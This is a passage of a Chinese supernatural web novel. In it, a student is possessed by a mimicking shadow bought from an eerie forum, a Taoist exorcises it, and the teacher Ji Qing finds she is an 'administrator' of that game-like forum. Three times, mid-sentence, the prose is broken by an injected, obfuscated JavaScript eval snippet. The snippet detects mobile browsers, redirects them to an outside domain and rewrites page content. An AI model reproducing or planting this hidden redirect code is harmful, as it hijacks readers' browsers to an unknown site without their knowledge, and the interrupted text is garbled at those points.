洗漱完躺在床上,周晓琪翻着室友们的朋友圈,看起来她们今晚玩得很开心,照片上的年轻人们的笑容快乐又自由,散发着令人羡慕的活力。 周晓琪放下手机,默默地想,到底是自己不喜欢热闹,还是害怕自己会与这样热闹的环境格格不入? 如果是班上女同学都喜欢的季老师的话…… 周晓琪又拿起手机,在浏览记录里找到了那个论坛,点进链接,突然又叹了一口气。 荒谬,实在太荒谬了,自己居然会相信这种东西。天底下哪有这么简单的事啊,如果是真的,那世界上早就多出好几个一模一样的大明星大富翁了。 可正在她自嘲的时候,论坛页面跳出一行红色的小字,在黑白的页面上十分扎眼: “链接有效期仅5分钟,命运从不等待犹豫之人。” 她的手指悬在“付款”键上方,剧烈颤抖。手机屏幕上的倒计时还剩1分07秒。她的心跳声在安静的寝室里如擂鼓般清晰,脑海里走马灯一样飞速闪过日常的碎片,最终定格在季青温柔的笑脸。 终于,在倒计时归零的最后一秒,她的指尖猛地按了下去! 周晓琪喘息着,强迫自己冷静下来,再次翻看订单界面,发现订单页面显示已发货,可自己明明连收货地址和电话都没有输入,讨厌,这果然是诈骗! 正在周晓琪烦躁地想要举报论坛网页的时候,出去玩的室友们回来了,听着床帘外嘻嘻哈哈的嘈杂声音,周晓琪懊恼地把脑袋藏进被子里。 “晓琪,你睡了吗?”其中一个室友轻轻拽了拽周晓琪的床帘,她本来还想装睡,可室友接下来的话却让她从床上坐起来。 “寝室门口有你的快递,我看还没拆,想着是不是不小心落在门口的,就带进来了。” 周晓琪赶紧谢过室友,将快递拿了过来,小小的快递包装盒上贴着写了周晓琪姓名电话的快递单,单子上却没有发件人信息。 周晓琪小心翼翼用笔尖划开了胶带,里面是一盒包装粗糙的黑色香薰蜡烛,滑腻的表面泛着流动般的银紫色线条。拿开蜡烛,下面还压着一张使用说明。 今天的经历实在离奇,周晓琪在床上翻来覆去思考了一整晚,还是决定按照说明书上的内容试一试。 第二天中午,周晓琪趁着老师们午休的时间,溜进教职工大办公室,在季青的工位上找到两根头发。正当她离开办公室,暗自松一口气的时候,在走廊恰好撞见回来的季青。 紧张、羞愧、害怕……做贼心虚的周晓琪一时间消化不了这么多情绪,面红耳赤地低着头快步开了,幸好平时遇到季青她也是这样悄悄溜走,季青没有发觉她今天有什么不对。 接下来的一切都很顺利,周晓琪按照说明书上写的,睡前将一小节头发作引,和蜡烛一起点燃。 黑色蜡烛点燃后,却泛起一股奇异的焦油和脂肪的腥味,浓烈到令人作呕。周晓琪被呛得眼泪直流,她想掐灭蜡烛,却发现自己的手已经无法移动!她的身体正被一股无形的力量死死按在床上。 被蜡烛照出的阴影开始不安地蠕动,像活过来一样向她汇聚。她感到一种冰冷的、粘稠的东西正从脚底开始向上蔓延,吞噬她的身体。她拼命想喊,却只能发出嗬嗬的气音。 “救……”声音卡在喉咙里,她的意识被猛地拽入黑暗。很快,她感觉自己像掉进了黏腻的虚无中,每一次呼吸都让肺部充满粘稠如蜜的空气;眼前的黑暗中闪烁着不详的虹彩;连肢体也仿佛溶解消化,逐渐丧失了感知。 挣扎了半天,周晓琪才发现自己已经融化成地上的一滩黑影。 她想要尖叫,可是一滩黑影是没有声带的。 她努力地向视野里的光亮挪去,却在光亮中看见了季青模糊的身影。 粘稠的黑影此时突然有了反应,违背着周晓琪的意志,却像幼崽天然的本能一样,即使没有可以称之为“脚”的东西,也努力向上蹿着,想要跟随季青的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449121|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影动起来。 一整夜,周晓琪都在这恐怖的似梦非梦中度过。 周晓琪醒来后马上查看了蜡烛,正如说明书上所写,蜡烛成功链接入梦之后就会自动熄灭,没有给周晓琪带来额外的困扰。 她坐在床上,睡衣早被冷汗浸透。不安的双手不由自主地抚遍四肢,昨晚那种被夺取身体的恐惧还留在她的心里,即使知道这个蜡烛确实有超自然的力量,她也不敢再用了。 “晓琪,你醒了吗?”同寝室的女生从窗帘下探出脑袋,“要不要等你,待会我们一起去上课啊?” “好啊,你等我一下,我马上好。” 爽快干脆的话语违背了主人的意愿,从嘴里流利地跳出,惊得周晓琪马上捂住了自己的嘴。 接下来的一整天,周晓琪都比平时更加利落大方,没有再瞻前顾后处处畏缩。 晚上和室友们举着甜筒回寝室的时候,一位室友突然说:“晓琪,你今天有点不一样哦。” 周晓琪赶紧低下头,用手指不安地捋着刘海,答道:“是吗?我怎么不知道……” “今天的你,有一点可爱哦!” 于是这个晚上,周晓琪再一次点燃了来历不明的黑色蜡烛。 虽然每一次使用都伴随着恐惧和挣扎,但内心隐秘的期待让她如同成瘾般无法自拔。暗暗不再抗拒黑影的周晓琪发现,这种转变反而让她能更好地和黑影融为一体,她感觉自己稍微能控制这未知的黑暗了。 在这温暖的黑暗中,每一个细胞都享受着令人沉醉的“非我”,让她心甘情愿溺毙其中,直到所有“自我”都消解,仿佛垃圾一样被排出体外。 每一天,每一天她都会更像季青一点,似乎全世界都对她更明媚了一点。 这天她终于鼓起勇气,像季老师那样把刘海梳了上去,露出了光洁的额头和那双原本总是带着点怯意的眼睛。 镜子里的新形象让她感到一丝陌生,可更多的是无所适从的惶恐。好像一个偷穿了大人衣服的小孩,生怕下一秒就被人指出这不合适、这不属于你。 “真的……好看吗?”她心里总是盘旋着这个问题,每一次与人对视,每一次听到别人的笑声,都会让她心头一紧,下意识地怀疑那是不是在嘲笑自己的东施效颦。 那份沉重的、几乎成为她身体一部分的自卑感,并非来自于丑陋——她知道自己的五官算得上清秀。它来自于一种根深蒂固的认知:自己是平凡的、乏味的、不值得被注意的。像一张背景板,无论多么努力,也无法成为主角。 所以,当那种被注视、被肯定的感觉悄然降临,当她听到有人小声说:“周晓琪好像变了不少”、“和季老师有点像”、“感觉人都温柔了很多”时,一种前所未有的、近乎晕眩的渴望攫住了她。 她太想要留住这种感觉了。 哪怕……这种感觉的来源,似乎有些不对劲。 周晓琪没有发现,她的影子,在阳光下会比别人更浓重一些,甚至偶尔会不自然地扭动一下,好像“有个东西”住在她身体里了。 不知道从哪一天起,周晓琪不愿意再照镜子,每每注视着那张脸,她都觉得—— 这不是她,梦里的那个扭曲蠕动的东西,才更像她呢。 只是,她仿佛听到了镜子碎裂的声音? 明亮温暖世界突然裂开了一条缝,紧接着缝隙越来越大,仿佛黑洞一样吞噬了她现在的一切,让她直直坠落。 为什么再睁开眼,出现的却是季老师带着紧张表情的脸? 5. 死亡之影(五) “呜呜呜呜呜呜呜呜……” 叠影,或者说被叠影裹挟的周晓琪,发出痛苦的呜咽,那声音混杂着叠影扭曲的音调,和少女原本的声线痛苦纠缠。 周晓琪脸上那属于季青的五官开始剧烈地扭曲、波动,如同信号不良的电视画面,在“季青”和“周晓琪”原本的脸之间疯狂闪烁。 她手中的美工刀当啷一声掉在地上,双手猛地抱住头,周身翻滚的黑影变得极其躁动,时而膨胀如猛兽,时而又紧紧攀附在少女的身上颤抖。 常岚上前一步将季青拉回身后,紧接着踢开美工刀,左手抬起还在鞘中的七星剑将叠影钉在地上,右手并指如剑,指间带起一道凌厉的劲风,迅速斩向周晓琪身后与黑影连接的地方。 这一击并非物理意义上的斩切,而是施术者对自身精纯元炁的粗暴运用。 “断!” 随着常岚的一声低喝,空气中传来“嘣”的一声轻响,叠影链接周晓琪的部分化作数条黑线应声而断。 “呜……啊啊啊!” 周晓琪发出一声撕心裂肺的哭嚎,那哭声里不再有模仿来的诡异非人感,而是充满了属于她自己的、真切的绝望与恐惧。 她周身浓郁的黑影如同失去提线的木偶,骤然失控,疯狂地扭动翻滚,最终在她脚下凝聚成一滩不断蠕动、极不甘心的浓稠黑暗,而周晓琪本人则脱力般软软地向下倒去。 季青和常岚再次交换眼神,得到确认后季青赶紧上前扶住瘫倒在地的周晓琪,常岚则手腕迅速一翻,将七星剑从钉在地里的剑鞘中拔出,反手用剑尖指向了蠢蠢欲动的黑影。 剑身上古朴的纹路似乎对黑影有着天然的克制力,黑影不敢再轻举妄动,蠕动瞬间停滞。就在常岚再次举起剑锋时,这滩被剑鞘钉住的黑影仿佛感受到了终极的威胁,竟不再挣扎,而是猛地向内坍缩,凝聚成模糊的形状—— 淡淡的影子,此刻正像沸水一样翻滚,一个更加深邃、更加扭曲的黑色从中分离出来—— 它重复着膨胀与坍缩,时不时隐约凸显出它曾经模仿过的数张扭曲挣扎的面孔,如同一个被诅咒的地狱万花筒。 这团黑影不停变换着模样,时而变成低矮的孩童;时而变成壮实的青年;时而变成佝偻的老人…… 仿佛出错的程序一般,黑影疯狂拉扯崩毁,它的身体开始失去秩序与逻辑,肢体以反常识的姿态拼接、眼球在身体的任意部位出现又被身体吞噬、牙齿仿若繁复密集的花序层层展开…… 它突然膨胀、爆炸,化作肆虐的黑雾,仅一瞬间,整个办公室都陷入黑暗。 常岚赶紧从兜里掏出一张符纸,略显生涩地掐了一个诀,潜心念咒——然而并没有什么用,符纸微微闪了一下金光就迅速暗淡下去。 “啧……”常岚没忍住在心里暗骂一声,他画的这些个符纸一个赛一个不靠谱,总在关键时刻掉链子,出招宛如赌博。 画符实在不是常岚的强项,他非常干脆地扔掉符纸,选择了更粗暴有效的方式: 他的手在剑锋上飞快一抹,鲜红的血珠被剑身迅速吸收,沿着剑身上古朴的纹路涌流,霎时间七星剑上的星点亮起金光,熠熠生辉。 “天地玄宗,万气根本,广修亿劫,证吾神通……” 常岚运作着自身元炁,将七星剑高高举起,向着前方横扫过去—— “金光速现,覆护真人!” 泛着金光的气劲如同浪潮,瞬间将浓稠的黑雾撕裂、冲散。强光与狂风过后,办公室内弥漫的黑暗为之消散,但被驱散的邪秽之气仍如滚烫的蒸汽般扭曲着空气,让视线有那么一刹那的模糊与失真。 就在这视野尚未完全清晰的瞬间—— 常岚听到了季青的声音,却来自两个不同的方向。 “常岚!” “常岚!” 两个声音几乎同时响起,带着一模一样的急切。 常岚一惊,迅速朝着声音的来源望去,只见随着残余黑雾的彻底消散,场景开始变得让人摸不着头脑。 散去的黑雾中,竟出现了两个季青。 左边的季青扶着昏迷的周晓琪,正警惕地看向右边。而右边的季青则扶着桌子勉强站住,也同样望向左边。 两人拥有完全相同的身高、发型、衣着,甚至连脸上那未散的惊悸和疲惫都别无二致。 “放开我的学生!”右边扶着桌子的季青率先开口,眼神锐利,语气不容置疑。 左边的季青则将周晓琪抱得更紧,转头看向常岚,眼神里充满了担忧,刚想开口辩解—— 就看见右边的季青和常岚都慢慢向她走过来,一副摩拳擦掌的样子。 “你不会真以为自己学的很像吧?”右边的季青捋起了袖子,脸上露出一丝让叠影感到陌生的嘲讽意味,“想制混乱借机逃跑?哪有那么容易。” “都说了我是直觉派的,你就只有模仿别人的外貌这点本事?”正前方的常岚挽起剑花。 真正的季青朝常岚努了努嘴,“常道长,送这东西上路!” “得令!” 这次叠影甚至没来得及散去人形化作黑雾逃跑,就被常岚一剑砍断搂着周晓琪的手臂,防止它再次伤害周晓琪,在叠影手臂被切断的一瞬间,残肢就迅速崩毁化作飞灰。 几道剑光闪过,将挣扎扭曲的叠影劈碎,黑色的碎片化作点点黑雾迅速消失,唯留有一丝不甘的尖啸飘远。 在叠影消失的同时,周围崩塌的走廊、污浊的墙壁如同潮水般迅速消散。季青只觉得眼前一花,温和的月光就透过银杏叶的缝隙洒在她的脸上,蝉鸣声也再次涌入耳中。 她们回到了凝真观的院子里,依旧坐在石桌旁,刚才那场惊险怪谈,好像只是一场短暂的噩梦。 一阵微风吹过,季青才感觉后背已被冷汗浸透,她环顾四周,确认已经回到了现实世界,才长长地、彻底地舒了一口气。 一阵虚脱般的疲惫感袭来,以及……一种强烈的不真实感。 季青点开手机,锁屏壁纸上显示7月1日,0点12分。 她真的……活过了“死期”。 解锁手机后,一堆未读消息跳了出来。她迅速点开班级群,飞快地向上翻找记录——接着看到了下午班长在群里发过周晓琪的病假条。 她立刻向班长发了条消息:【班长,周晓琪同学现在情况怎么样?】 几乎下一秒,班长就回复了:【季老师,晓琪在医务室呢,下午低血糖晕倒了,室友帮开的假条,校医说没事,让她睡一觉观察一下。】 看到这些,季青心里最后一块石头才落了地,身体的疲惫和精神的松弛让她一下子靠在石桌上。 “喏。”旁边递过来一杯温热的茶水,常岚不知何时又去沏了一壶新茶,他自己正趴在桌上动手把兜里的符纸折成小青蛙。 “师父说的对,我这辈子是指望不上这些精细玩意儿了。”他把符咒小青蛙赶得满桌跑,很是沮丧。 季青接过茶喝了一口,道观的绿茶仿佛确实带着些天地灵气,驱散了许多疲惫。她看着常岚那副跟符纸较劲的模样,又想起刚才他剑刃染血、金光乍现的威风,一种极其荒诞的割裂感油然而生,让她忍不住轻笑了一下。 “笑什么?”常岚有点不好意思。 “笑常道长你的技能点,真是点得……泾渭分明。” 常岚丧气地抬头,刚准备搭话,却看见季青已经起身去门口将她的小电驴骑了过来。 “愣着干什么,”季青递给常岚一个头盔,“上来,我的小电驴说谢谢你保护了它的主人,避免了它变成遗产的结局,要载你去吃宵夜。” 从下午到晚上,两人确实很久没有吃东西了,常岚乖巧戴上可爱的粉色头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449122|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盔,老实坐在小电驴后座上,突然感觉哪里不对,开口问道:“话说你不是一个人来的吗,为什么会备着两个头盔?” 季青启动小电驴,清爽的夜风将季青的回答吹得有点模糊不清,但依然能听出一种平静的怨气:“这学期载过得急性肠胃炎的学生去学校旁边的诊所,因为没戴头盔被交警逮住罚了我五十!” 学校后门的烧烤店即使过了0点生意也还是很好,两人挑了个外面凉快点的位置坐下。 常岚打开一罐汽水递给季青,季青开门见山地说道:“关于你师父的事,那个帖子,你觉不觉得有些太巧?” “巧?”常岚看过来。 “嗯。”季青接过汽水,目光锐利起来,“从那个论坛帖子开始,一切就像被设计好的。” “帖子精准地描述了我的噩梦,甚至预告了死期,这像是‘诊断’,唯一提供的线索‘凝真观-清正’,像是一个唯一的‘解决方案’。” “而我,这个‘患者’,果然如预料般,在绝望中抓住了这根唯一的稻草,精准地找到了你。” “刚刚在影域中,我看到了周晓琪的记忆,她也是被论坛精准推送到了一篇帖子,才接触了叠影。” 她顿了顿,看向常岚,说出了那个让人不寒而栗的推论: “这不像是在散布恐慌,而更像是在钓鱼。论坛知道我和周晓琪需要什么,并且算准了我们一定会按照它的想法来。并用这个帖子,把我这条‘鱼’,钓到了你这个‘鱼钩’上。” 常岚听着,脸上的轻松渐渐消失了,他缓缓放下茶杯,眼神变得前所未有的严肃。季青的推理,比他直觉感受到的更加清晰和冰冷。 常岚顿了顿,似乎在组织语言,“我师父……以我对他的了解,如果那帖子真是他发的,他很可能遇到了一个无法独自解决、甚至无法理解的庞大事物。” “他在用这种方式提醒你这样的受害者来找我,甚至可能是,在寻找能理解这件事并一起对抗的‘同行者’。” 这个想法让两人同时陷入了沉默,晚风似乎都带上了寒意。 季青下意识地拿出手机,鬼使神差地再次输入了那个论坛网址。 竟然又能打开了!黑底白字的界面在午夜时分显得格外诡异。 “怎么了?”常岚注意到她的表情变化。 “论坛又出现了,”季青把手机递过去,“白天它消失得无影无踪,现在却……” 常岚要过网址,自己也登录了网站,他尝试滑动页面,找到搜索框,输入季青昨晚刷到的帖子标题。 【此帖已归档,无法查看】 一行从未出现过的提示语跳了出来。 “归档?”常岚和季青同时捕捉到了这个关键词。 常岚退出搜索,在首页浏览一圈,转而点击论坛右上角那个不显眼的【登录】按钮。 弹出的不是常规的账号密码框,而是一个纯黑色的输入界面,只有一个不断闪烁的、血红色的描边在跳动着,仿佛在等待着什么指令。 常岚犹豫了一下,尝试性地输入了他师父的论坛昵称:【凝真观-清正】。 光标停顿了一下,后面浮现冰冷的白色文字:【验证失败,非当前用户昵称,请登录当前用户】 当前用户,是指正在看这个论坛的人吗?常岚没有犹豫,输入了自己的名字。 【用户名:常岚/用户状态:存活/权限:游客/可申请注册】 这是什么意思? 常岚扭头望向季青,季青正带着一种强烈的预感,输入着自己的名字。 随着季青的手指离开屏幕,论坛网页中央骤然弹出一个诡异复杂的蝴蝶状暗金色徽记,下方是一行暗金色的文字,加粗的字体带着一种沉重的压迫感: 【权限验证通过】 【欢迎回来,管理员02-季青】 6. 诡异论坛(一) 在看到弹窗的一瞬间,一股无形的力量撕扯着季青的理智,近乎歇斯底里地想要寻找什么,可季青的脑海里只有一片迷雾样的空白。 空气仿佛凝固了,连带着烧烤摊的喧闹、夏夜的虫鸣、马路上的车来车往、甚至连自己的呼吸,都被季青的意识过滤掉、抛到思绪边缘。 又来了,这种迷茫无措的窒息感…… “季老师?”常岚困惑的声音将季青从冰冷的漩涡中暂时拉了出来,常岚伸出手在她眼前快速晃了两下:“快,回神,深呼吸。” 季青猛地吸了一口气,胸腔里传来些许刺痛的感觉,被抽离的思绪才回笼,她重重喘了两下,仿佛刚刚从渺远的某处重新回到了现实世界。 季青下意识地抚着心口,又端起汽水猛灌一口,冰凉的液体和过量的甜味勉强压下了气管的不适。这才转头望向常岚,示意他接着说下去,常岚看季青脸色好转,才接着问: “怎么我只是游客,而你是管理员?还是02,好靠前的编号,这个论坛该不会是你家开的?” ……刚刚被触及的神经依旧隐隐作痛。 季青迟疑地回答:“不知道……” 常岚却像抓住了季青的小尾巴一样,压低声音凑上来追问:“一般这种时候不都会说“是”或者“不是”吗,不知道算怎么回事?” 季青捧着冰汽水,眼睛瞟向另一边,默默翻了个白眼,然后如实回答:“就是不知道的意思……” 她的指尖无意识地摩挲着汽水罐,声音也低了下去:“关于这个‘管理员’或者‘家’,我确实都没有任何记忆。” 话虽然说的含糊,却是一种连她自己都惊讶的坦诚。 常岚合上黝黑的眼睛,藏起眼里纯粹的探究欲,若有所思地点点头,没有再追问,反而转头招了招手吸引烧烤摊老板的注意:“老板!结账!”。 季青一愣:“等等,这就回去了?”谜团的钥匙仿佛近在眼前,他却直接抽身离开了? 常岚已经站起身伸了个懒腰,“你现在的状态,比刚才在影域的时候还差。”他摇了摇头,样子随意,语气却不容置疑,“脸白得跟纸一样,连呼吸都乱套了,再硬熬下去感觉你的魂都要飘走了。” “你只付了驱邪的钱,招魂的可得另算啊。” 常岚望着季青疲惫的脸,再一次劝道:“我师父都失踪三年了,也不差这一天,所以还是先好好休息吧,明天我会再来找你讨论的。” 常岚说完就转身去找老板结账,季青赶紧站起来想抢先买单,毕竟是她先提出要请客吃宵夜的。 常岚却一把拦下她,晃了晃手机,屏幕上正是中午那笔委托费的转账记录:“嗐,没差,反正用的都是你的钱。” ……行。 季青哑然失笑,紧绷的神经因为这小小的插曲终于松弛了几分,疲惫感如同迟来的潮水,很快漫了上来。 “那我先回去了。”她没再坚持,声音里带着显而易见的倦意。 “嗯,到家发个消息。”常岚点点头,罕见地没再多话,只是摆摆手目送着她。 季青转身走入初夏的夜风里,她骑上自己那辆小电驴,清凉的夜风拂过脸颊,路灯投下的影子乖乖跟在她的后面,再没有了困扰她一个月的异动。 季青住得不远,很快就到了她租住的公寓。此刻大多窗户都已暗下,只有零星几盏灯还亮着,灯光在她眼中显得有些恍惚,像黑暗中困倦的眼睛。 终于,站在熟悉的房门前,季青熟练地掏出钥匙。 “咔哒。” 打开门的同时,一股混合着藏书淡淡的油墨味和薰衣草薰香的熟悉气息扑面而来,稳稳接住季青疲惫的精神。她侧身进屋,反手带上门,将整个世界的诡异暂时都锁在了门外。 背靠着冰凉的门板,季青长长地、彻底地吁出了一口气。 她踢掉鞋子,甚至没力气开灯,只借着窗外透进来的微弱月光摸索着走向沙发,深深地陷了进去。 房间也陷入一片寂静。 过了一会儿,她才像是想起什么似的,从口袋里摸出手机、插上充电器、点开微信、找到常岚发了条消息: 【到家了。】 几乎是在消息发出的瞬间,对方的回复就跳了出来: 【晚安,明天见0w0】 屏幕淡淡的光亮映在季青的眼底,她的手指放在电源键上,却始终没有按下去。挣扎一会,季青还是强打精神重新坐起来,换了个稍微舒服点的姿势蜷在沙发里,重新点亮了手机。 她始终没法完全放松,一种更加强烈的莫名情绪促使着她再次打开了论坛。 再次进入论坛后季青按照自己预想的流程,首先大致浏览了一下首页,除了右上角多出了季青的用户名【管理员02-季青】,其他并没有什么变化。 接着季青尝试点击用户名,网页立刻跳转至一个全新的界面,还没等季青仔细看清界面,就又跳出来一个黑底金字的弹窗。 【怪谈信息结算中……】 怪谈名称:叠影迷踪 怪谈状态:已归档 危害等级:C级 探索程度:82% 综合评分:A级 【个人奖励结算】 基础生存奖励:无伤存活(+100经验值) 核心谜题破解:洞察替代机制(+50经验值) 支线任务达成:唤醒迷失者(+50经验值) 协作支援加成:与搭档配合默契(+20经验值) 达成隐藏成就:[我即是我]:在影域中未曾动摇自我之心——对自我的认同就是力量的源泉。(+20经验) 个人评分:S级 ……这个像游戏通关结算的界面是什么? 季青愣了一愣,迅速捕捉到了重点,既然存在评分和经验值,那么就证明,她应该可以“升级”? 果然,点击界面确认后,又跳出一个新的窗口: 【管理员等级提升:LV.0-LV.1】 【权限解锁】: 管理员-档案库:您现在可以浏览所有危害指数C级及以下等级被归档的历史怪谈。 管理员-用户管理:您现在可以查看等级不高于您的用户的基本信息。 管理员-标记显示:您现在可以在论坛中标记已核实的怪谈,得知其具体位置。 势力关系解锁:[凝真观-友好]您与凝真观当代传人常岚建立了可靠的雇佣关系,获得VIP委托人特权:可以免费蹭喝凝真观的清甜茶水。 ……季青的眼皮跳了一下,原来凝真观里那个茶不是免费的吗? 窗口上的内容季青差不多都能理解,一开始让她和常岚摸不着头脑的“归档”,恐怕就是解决掉怪谈后,因为怪谈已经消失不再产生影响,其信息就会被整理封锁,所以作为“游客”的他们才会没有权限查看。 既然季青是管理员,那应该可以查阅叠影相关的帖子了,反正刚刚的弹窗是这么说的,目前可以查看危害指数C级及以下等级的怪谈。 开干。 LV1的管理员界面相当简洁,功能入口少得可怜,季青很快找到了档案库,在里面搜索“叠影”,很快就跳出几篇帖子。 看样子不止清正道长发布过相关的帖子,其他的帖子她并没有刷到,难怪弹窗上显示的探索程度不是100%。 ……不到100%的探索度真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449123|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫名让人不爽。 不过季青还是先点开了清正道长的帖子,叠影已经被解决,内容她只是草草浏览了一下,接着直奔目标而去。 她点击了清正道长的头像,弹窗里显示她已经拥有了查看用户信息的权限。 【目标用户等级较高,请提升管理员等级后再进行尝试】 ……行。 季青直接关掉清正道长的帖,转而挨个去看另外几个帖子。 剩下的几个不算多的帖子基本都是没什么意义的目击帖,只有一个帖子吸引到了季青的注意,原因无他,这个帖子,她在周晓琪的记忆里见过。 标题:【如果连续三十天梦到同一个人的话,就会……】 发帖人:佚名 IP:A市发帖时间:2025年5月31日 板块:#助眠好物#真诚分享#推给有缘人#十块钱买不了吃亏上当 怪谈状态:已归档 认真看帖的季青眉头越皱越紧,她尝试点击查看这个将怪物售出祸害别人的混账用户,可界面再次显示对方等级比自己更高,暂时无法查看。 季青无奈地叹了口气,即使她是管理员,可当前等级能获取的信息和特权实在是太少了。 而等级高的用户甚至可以利用规则伤害他人,这个论坛远比她想象的更加庞大和恐怖。 正如她之前所分析的,无论发帖用户的本意是什么,论坛都会把精准地把帖子推送给最适合的人,仿佛钓鱼一样耐心从容,等待着迷茫的人自愿上钩。 到底是谁会做这种事?这个论坛为什么好像什么都知道?自己又为什么会成为编号如此靠前的管理员? 为什么它会说,“欢迎回来”? 记在笔记本上的问题越来越多,可季青却没什么头绪。 季青强压困意揉了揉眉心,思考着,既然这个论坛什么都知道,那么季青以前费尽心思都无法通过常规手段查找的信息,这里说不定有! 直接问它就好了,被动地逃避不是季青的风格,她要主动寻找规则、利用规则、直到知晓一切! 季青回到主页,找到搜索栏,打下曾经无数次在其他地方寻找的关键词:“心巢孤儿院”。 这是她的记忆开始的地方,或者说,进入这个孤儿院之前的记忆,全部都是空白。 没有让季青失望,论坛迅速跳出了帖子: 标题:【救命啊,为什么家附近被烧毁的孤儿院,那个废墟里一直有童谣的歌声传出来……】 发帖人:打开天窗说脏话 IP:A市发帖时间:2023年8月12日 板块:#鬼故事我从小听到大#恐怖童谣#童年阴影#我真没招了#诚心求助 状态:核实存在 季青滑动屏幕,跟着帖子里的童谣轻轻哼唱: 睡吧睡吧好孩子呀…… 随着童谣的歌声,帖子界面闪烁了一下。 当屏幕恢复正常的时候,出现了一个血红色的倒计时: 【23:59:59】 下方是冰冷的红字: 【警告:检测到异常关联访问行为,系统即将执行安全格式化进行异常关联修正,24小时倒计时结束后,档案“心巢孤儿院”及相关链路将进行删除。】 血红的光映在季青的脸上,她的表情却越发阴冷。 她的人生、她的记忆、她苦苦追寻的答案,正被某个不为人知的力量干涉着,而现在,那股力量甚至想要将她有关的东西当做“异常数据”给彻底、永久地“格式化”。 一种冰冷的愤怒取代了所有情绪,季青抬手在笔记本上记下了明天的新行程: 【心巢孤儿院】 7. 诡异论坛(二) 第二天晚上,凝真观。 季青和常岚两个人顶着黑眼圈面面相觑。 “所以,明明昨晚已经说了晚安,但我们两个根本谁都没有睡是吗?”季青捧着常岚递过来的“VIP委托人专享免费茶水”率先打破沉默。 “我偶尔熬一晚夜没关系,但是季老师你那个状态肯定需要休息啊。”常岚说着给自己也倒了一杯茶,“况且遇到这种离奇的事,谁能忍住不看这个论坛啊,我反正不行。” 季青点点头,她也忍不住。 而常岚显然是已经熬了个通宵,客堂桌边的垃圾桶里,还堆着他昨晚在道观门口的自动售货机里买的咖啡空罐。 毫无疑问,两人对论坛都抱有极强的好奇心和探究欲,论坛上不仅有常岚失踪三年的师父发帖,还有提到了季青以为已经彻底消失在现实世界中的孤儿院的帖子。 于是仅仅休息了一个白天,两个人又到凝真观碰头交流信息了。 季青和常岚都明白,这种时候单干不如组队,毕竟他们在论坛上的“身份”并不相同,能获取到的信息应该也不一样。 常岚拿起放在桌上的手机又点了一下论坛网页,目前还是显示【您访问的页面不存在】,只好叹了口气先跟季青分享自己昨晚的发现: “昨天晚上回观里之后,我就重新打开了论坛网页。一开始没有注册,但是游客身份好像只能看首页自动推送的帖,所以我就尝试申请注册了。” 申请注册流程非常简单,点击完注册按键之后网页上会跳出一个用户条款弹窗。 然而常岚真是被电子游戏害了,还没看清写的什么,就跟平时玩游戏一样撒了一个百分之九十九的人都会撒的谎——直接勾选“我已阅读全部条款”。 论坛好像害怕用户后悔一样,马上显示注册成功,给常岚分配了默认头像和默认用户名并祝他论坛冲浪愉快。 常岚下意识点进设置界面熟悉操作,然而把设置菜单来来回回翻了三遍,愣是没找到退出账户的选项在哪——这个论坛,压根就没给他“退出”这个选择。 一股极其熟悉的、被套路的感觉涌上心头,常岚瞪着手机,忍不住脱口而出: “宽进严出是诈骗!” 这诡异的发展印证了他那种不妙的预感。 果然,他接下来的经历和季青如出一辙,常岚点进用户界面后跳出了莫名其妙的结算窗口,怪谈结算部分一样,个人奖励结算内容则略有不同,但结构基本一致。 真正和季青的管理员界面产生差异的是用户权益界面: 【用户等级提升:LV.0-LV.1】 【权限解锁】: 用户-评论发布:您现在可以在其他用户发布的帖子下进行评论。 用户-帖子发布:您现在可以以发布帖子的形式上传自己发现的怪谈。 用户-怪谈记录:您现在可以浏览所有由您发布或归档的历史怪谈。 用户-标记显示:您现在可以在论坛中标记已核实的怪谈,得知其具体位置。 听完常岚对昨晚经历的描述,季青掏出随身携带的笔记本,和常岚讨论起论坛赋予的权限。 只看差异的话,作为用户的常岚可以评论其他人的帖子,也可以发布帖子,而作为管理员的季青则可以查看用户信息和更多已归档怪谈。 听到管理员居然有查看用户信息的权利,常岚眼睛一亮,昨晚他通过怪谈记录找到了叠影相关的帖子,其中当然包括他师父清正道长发布的那个,可在点击清正道长的头像之后,跳出的弹窗却是: 【根据用户条款,用户主页信息默认隐藏】 所以常岚这时期待地看着管理员季青,黝黑的眼瞳里闪烁着希望之光,但季青只能老实承认她现在等级过低,还查看不了清正道长的信息。 不过既然清正道长发布帖子的日期是三天前,至少能证明清正道长暂时没有生命危险。 常岚听完也没有太失望,毕竟只要有季青的管理员身份在,就可以慢慢把等级提升上去,将他师父的信息查个底朝天只是时间问题。 